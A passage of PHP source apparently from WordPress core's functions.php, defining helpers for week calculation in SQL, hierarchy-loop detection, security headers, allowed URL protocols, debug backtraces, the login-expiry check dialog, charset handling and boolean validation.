@header( 'X-Content-Type-Options: nosniff' );

}

/**

* Return a MySQL expression for selecting the week number based on the start_of_week option.

*

* @internal

* @since 3.0.0

*

* @param string $column Database column.

* @return string SQL clause.

*/

function _wp_mysql_week( $column ) {

switch ( $start_of_week = (int) get_option( 'start_of_week' ) ) {

case 1 :

return "WEEK( $column, 1 )";

case 2 :

case 3 :

case 4 :

case 5 :

case 6 :

return "WEEK( DATE_SUB( $column, INTERVAL $start_of_week DAY ), 0 )";

case 0 :

default :

return "WEEK( $column, 0 )";

}

}

/**

* Find hierarchy loops using a callback function that maps object IDs to parent IDs.

*

* @since 3.1.0

* @access private

*

* @param callback $callback Function that accepts ( ID, $callback_args ) and outputs parent_ID.

* @param int $start The ID to start the loop check at.

* @param int $start_parent The parent_ID of $start to use instead of calling $callback( $start ).

* Use null to always use $callback

* @param array $callback_args Optional. Additional arguments to send to $callback.

* @return array IDs of all members of loop.

*/

function wp_find_hierarchy_loop( $callback, $start, $start_parent, $callback_args = array() ) {

$override = is_null( $start_parent ) ? array() : array( $start => $start_parent );

if ( !$arbitrary_loop_member = wp_find_hierarchy_loop_tortoise_hare( $callback, $start, $override, $callback_args ) )

return array();

return wp_find_hierarchy_loop_tortoise_hare( $callback, $arbitrary_loop_member, $override, $callback_args, true );

}

/**

* Use the "The Tortoise and the Hare" algorithm to detect loops.

*

* For every step of the algorithm, the hare takes two steps and the tortoise one.

* If the hare ever laps the tortoise, there must be a loop.

*

* @since 3.1.0

* @access private

*

* @param callback $callback Function that accepts ( ID, callback_arg, ... ) and outputs parent_ID.

* @param int $start The ID to start the loop check at.

* @param array $override Optional. An array of ( ID => parent_ID, ... ) to use instead of $callback.

* Default empty array.

* @param array $callback_args Optional. Additional arguments to send to $callback. Default empty array.

* @param bool $_return_loop Optional. Return loop members or just detect presence of loop? Only set

* to true if you already know the given $start is part of a loop (otherwise

* the returned array might include branches). Default false.

* @return mixed Scalar ID of some arbitrary member of the loop, or array of IDs of all members of loop if

* $_return_loop

*/

function wp_find_hierarchy_loop_tortoise_hare( $callback, $start, $override = array(), $callback_args = array(), $_return_loop = false ) {

$tortoise = $hare = $evanescent_hare = $start;

$return = array();

// Set evanescent_hare to one past hare

// Increment hare two steps

while (

$tortoise

&&

( $evanescent_hare = isset( $override[$hare] ) ? $override[$hare] : call_user_func_array( $callback, array_merge( array( $hare ), $callback_args ) ) )

&&

( $hare = isset( $override[$evanescent_hare] ) ? $override[$evanescent_hare] : call_user_func_array( $callback, array_merge( array( $evanescent_hare ), $callback_args ) ) )

) {

if ( $_return_loop )

$return[$tortoise] = $return[$evanescent_hare] = $return[$hare] = true;

// tortoise got lapped - must be a loop

if ( $tortoise == $evanescent_hare || $tortoise == $hare )

return $_return_loop ? $return : $tortoise;

// Increment tortoise by one step

$tortoise = isset( $override[$tortoise] ) ? $override[$tortoise] : call_user_func_array( $callback, array_merge( array( $tortoise ), $callback_args ) );

}

return false;

}

/**

* Send a HTTP header to limit rendering of pages to same origin iframes.

*

* @since 3.1.3

*

* @see https://developer.mozilla.org/en/the_x-frame-options_response_header

*/

function send_frame_options_header() {

@header( 'X-Frame-Options: SAMEORIGIN' );

}

/**

* Retrieve a list of protocols to allow in HTML attributes.

*

* @since 3.3.0

*

* @see wp_kses()

* @see esc_url()

*

* @return array Array of allowed protocols.

*/

function wp_allowed_protocols() {

static $protocols;

if ( empty( $protocols ) ) {

$protocols = array( 'http', 'https', 'ftp', 'ftps', 'mailto', 'news', 'irc', 'gopher', 'nntp', 'feed', 'telnet', 'mms', 'rtsp', 'svn', 'tel', 'fax', 'xmpp' );

/**

* Filter the list of protocols allowed in HTML attributes.

*

* @since 3.0.0

*

* @param array $protocols Array of allowed protocols e.g. 'http', 'ftp', 'tel', and more.

*/

$protocols = apply_filters( 'kses_allowed_protocols', $protocols );

}

return $protocols;

}

/**

* Return a comma-separated string of functions that have been called to get

* to the current point in code.

*

* @since 3.4.0

*

* @see https://core.trac.wordpress.org/ticket/19589

*

* @param string $ignore_class Optional. A class to ignore all function calls within - useful

* when you want to just give info about the callee. Default null.

* @param int $skip_frames Optional. A number of stack frames to skip - useful for unwinding

* back to the source of the issue. Default 0.

* @param bool $pretty Optional. Whether or not you want a comma separated string or raw

* array returned. Default true.

* @return string|array Either a string containing a reversed comma separated trace or an array

* of individual calls.

*/

function wp_debug_backtrace_summary( $ignore_class = null, $skip_frames = 0, $pretty = true ) {

if ( version_compare( PHP_VERSION, '5.2.5', '>=' ) )

$trace = debug_backtrace( false );

else

$trace = debug_backtrace();

$caller = array();

$check_class = ! is_null( $ignore_class );

$skip_frames++; // skip this function

foreach ( $trace as $call ) {

if ( $skip_frames > 0 ) {

$skip_frames--;

} elseif ( isset( $call['class'] ) ) {

if ( $check_class && $ignore_class == $call['class'] )

continue; // Filter out calls

$caller[] = "{$call['class']}{$call['type']}{$call['function']}";

} else {

if ( in_array( $call['function'], array( 'do_action', 'apply_filters' ) ) ) {

$caller[] = "{$call['function']}('{$call['args'][0]}')";

} elseif ( in_array( $call['function'], array( 'include', 'include_once', 'require', 'require_once' ) ) ) {

$caller[] = $call['function'] . "('" . str_replace( array( WP_CONTENT_DIR, ABSPATH ) , '', $call['args'][0] ) . "')";

} else {

$caller[] = $call['function'];

}

}

}

if ( $pretty )

return join( ', ', array_reverse( $caller ) );

else

return $caller;

}

/**

* Retrieve ids that are not already present in the cache.

*

* @since 3.4.0

* @access private

*

* @param array $object_ids ID list.

* @param string $cache_key The cache bucket to check against.

*

* @return array List of ids not present in the cache.

*/

function _get_non_cached_ids( $object_ids, $cache_key ) {

$clean = array();

foreach ( $object_ids as $id ) {

$id = (int) $id;

if ( !wp_cache_get( $id, $cache_key ) ) {

$clean[] = $id;

}

}

return $clean;

}

/**

* Test if the current device has the capability to upload files.

*

* @since 3.4.0

* @access private

*

* @return bool true|false Whether the device is able to upload files.

*/

function _device_can_upload() {

if ( ! wp_is_mobile() )

return true;

$ua = $_SERVER['HTTP_USER_AGENT'];

if ( strpos($ua, 'iPhone') !== false

|| strpos($ua, 'iPad') !== false

|| strpos($ua, 'iPod') !== false ) {

return preg_match( '#OS ([\d_]+) like Mac OS X#', $ua, $version ) && version_compare( $version[1], '6', '>=' );

}

return true;

}

/**

* Test if a given path is a stream URL

*

* @param string $path The resource path or URL.

* @return bool True if the path is a stream URL.

*/

function wp_is_stream( $path ) {

$wrappers = stream_get_wrappers();

$wrappers_re = '(' . join('|', $wrappers) . ')';

return preg_match( "!^$wrappers_re://!", $path ) === 1;

}

/**

* Test if the supplied date is valid for the Gregorian calendar.

*

* @since 3.5.0

*

* @see checkdate()

*

* @param int $month Month number.

* @param int $day Day number.

* @param int $year Year number.

* @param string $source_date The date to filter.

* @return bool True if valid date, false if not valid date.

*/

function wp_checkdate( $month, $day, $year, $source_date ) {

/**

* Filter whether the given date is valid for the Gregorian calendar.

*

* @since 3.5.0

*

* @param bool $checkdate Whether the given date is valid.

* @param string $source_date Date to check.

*/

return apply_filters( 'wp_checkdate', checkdate( $month, $day, $year ), $source_date );

}

/**

* Load the auth check for monitoring whether the user is still logged in.

*

* Can be disabled with remove_action( 'admin_enqueue_scripts', 'wp_auth_check_load' );

*

* This is disabled for certain screens where a login screen could cause an

* inconvenient interruption. A filter called wp_auth_check_load can be used

* for fine-grained control.

*

* @since 3.6.0

*/

function wp_auth_check_load() {

if ( ! is_admin() && ! is_user_logged_in() )

return;

if ( defined( 'IFRAME_REQUEST' ) )

return;

$screen = get_current_screen();

$hidden = array( 'update', 'update-network', 'update-core', 'update-core-network', 'upgrade', 'upgrade-network', 'network' );

$show = ! in_array( $screen->id, $hidden );

/**

* Filter whether to load the authentication check.

*

* Passing a falsey value to the filter will effectively short-circuit

* loading the authentication check.

*

* @since 3.6.0

*

* @param bool $show Whether to load the authentication check.

* @param WP_Screen $screen The current screen object.

*/

if ( apply_filters( 'wp_auth_check_load', $show, $screen ) ) {

wp_enqueue_style( 'wp-auth-check' );

wp_enqueue_script( 'wp-auth-check' );

add_action( 'admin_print_footer_scripts', 'wp_auth_check_html', 5 );

add_action( 'wp_print_footer_scripts', 'wp_auth_check_html', 5 );

}

}

/**

* Output the HTML that shows the wp-login dialog when the user is no longer logged in.

*

* @since 3.6.0

*/

function wp_auth_check_html() {

$login_url = wp_login_url();

$current_domain = ( is_ssl() ? 'https://' : 'http://' ) . $_SERVER['HTTP_HOST'];

$same_domain = ( strpos( $login_url, $current_domain ) === 0 );

/**

* Filter whether the authentication check originated at the same domain.

*

* @since 3.6.0

*

* @param bool $same_domain Whether the authentication check originated at the same domain.

*/

$same_domain = apply_filters( 'wp_auth_check_same_domain', $same_domain );

$wrap_class = $same_domain ? 'hidden' : 'hidden fallback';

?>

<div id="wp-auth-check-wrap" class="<?php echo $wrap_class; ?>">

<div id="wp-auth-check-bg"></div>

<div id="wp-auth-check">

<div class="wp-auth-check-close" tabindex="0" title="<?php esc_attr_e('Close'); ?>"></div>

<?php

if ( $same_domain ) {

?>

<div id="wp-auth-check-form" data-src="<?php echo esc_url( add_query_arg( array( 'interim-login' => 1 ), $login_url ) ); ?>"></div>

<?php

}

?>

<div class="wp-auth-fallback">

<p><b class="wp-auth-fallback-expired" tabindex="0"><?php _e('Session expired'); ?></b></p>

<p><a href="<?php echo esc_url( $login_url ); ?>" target="_blank"><?php _e('Please log in again.'); ?></a>

<?php _e('The login page will open in a new window. After logging in you can close it and return to this page.'); ?></p>

</div>

</div>

</div>

<?php

}

/**

* Check whether a user is still logged in, for the heartbeat.

*

* Send a result that shows a log-in box if the user is no longer logged in,

* or if their cookie is within the grace period.

*

* @since 3.6.0

*

* @param array|object $response The Heartbeat response object or array.

* @return array|object $response The Heartbeat response object or array with 'wp-auth-check'

* value set.

*/

function wp_auth_check( $response ) {

$response['wp-auth-check'] = is_user_logged_in() && empty( $GLOBALS['login_grace_period'] );

return $response;

}

/**

* Return RegEx body to liberally match an opening HTML tag.

*

* Matches an opening HTML tag that:

* 1. Is self-closing or

* 2. Has no body but has a closing tag of the same name or

* 3. Contains a body and a closing tag of the same name

*

* Note: this RegEx does not balance inner tags and does not attempt

* to produce valid HTML

*

* @since 3.6.0

*

* @param string $tag An HTML tag name. Example: 'video'.

* @return string Tag RegEx.

*/

function get_tag_regex( $tag ) {

if ( empty( $tag ) )

return;

return sprintf( '<%1$s[^<]*(?:>[\s\S]*<\/%1$s>|\s*\/>)', tag_escape( $tag ) );

}

/**

* Retrieve a canonical form of the provided charset appropriate for passing to PHP

* functions such as htmlspecialchars() and charset html attributes.

*

* @since 3.6.0

* @access private

*

* @see https://core.trac.wordpress.org/ticket/23688

*

* @param string $charset A charset name.

* @return string The canonical form of the charset.

*/

function _canonical_charset( $charset ) {

if ( 'UTF-8' === $charset || 'utf-8' === $charset || 'utf8' === $charset ||

'UTF8' === $charset )

return 'UTF-8';

if ( 'ISO-8859-1' === $charset || 'iso-8859-1' === $charset ||

'iso8859-1' === $charset || 'ISO8859-1' === $charset )

return 'ISO-8859-1';

return $charset;

}

/**

* Set the mbstring internal encoding to a binary safe encoding when func_overload

* is enabled.

*

* When mbstring.func_overload is in use for multi-byte encodings, the results from

* strlen() and similar functions respect the utf8 characters, causing binary data

* to return incorrect lengths.

*

* This function overrides the mbstring encoding to a binary-safe encoding, and

* resets it to the users expected encoding afterwards through the

* `reset_mbstring_encoding` function.

*

* It is safe to recursively call this function, however each

* `mbstring_binary_safe_encoding()` call must be followed up with an equal number

* of `reset_mbstring_encoding()` calls.

*

* @since 3.7.0

*

* @see reset_mbstring_encoding()

*

* @param bool $reset Optional. Whether to reset the encoding back to a previously-set encoding.

* Default false.

*/

function mbstring_binary_safe_encoding( $reset = false ) {

static $encodings = array();

static $overloaded = null;

if ( is_null( $overloaded ) )

$overloaded = function_exists( 'mb_internal_encoding' ) && ( ini_get( 'mbstring.func_overload' ) & 2 );

if ( false === $overloaded )

return;

if ( ! $reset ) {

$encoding = mb_internal_encoding();

array_push( $encodings, $encoding );

mb_internal_encoding( 'ISO-8859-1' );

}

if ( $reset && $encodings ) {

$encoding = array_pop( $encodings );

mb_internal_encoding( $encoding );

}

}

/**

* Reset the mbstring internal encoding to a users previously set encoding.

*

* @see mbstring_binary_safe_encoding()

*

* @since 3.7.0

*/

function reset_mbstring_encoding() {

mbstring_binary_safe_encoding( true );

}

/**

* Filter/validate a variable as a boolean.

*

* Alternative to `filter_var( $var, FILTER_VALIDATE_BOOLEAN )`.

*

* @since 4.0.0

*

* @param mixed $var Boolean value to validate.

* @return bool Whether the value is validated.

*/

function wp_validate_boolean( $var ) {

if ( is_bool( $var ) ) {

return $var;

}

if ( is_string( $var ) && 'false' === strtolower( $var ) ) {

return false;

}

return (bool) $var;

}

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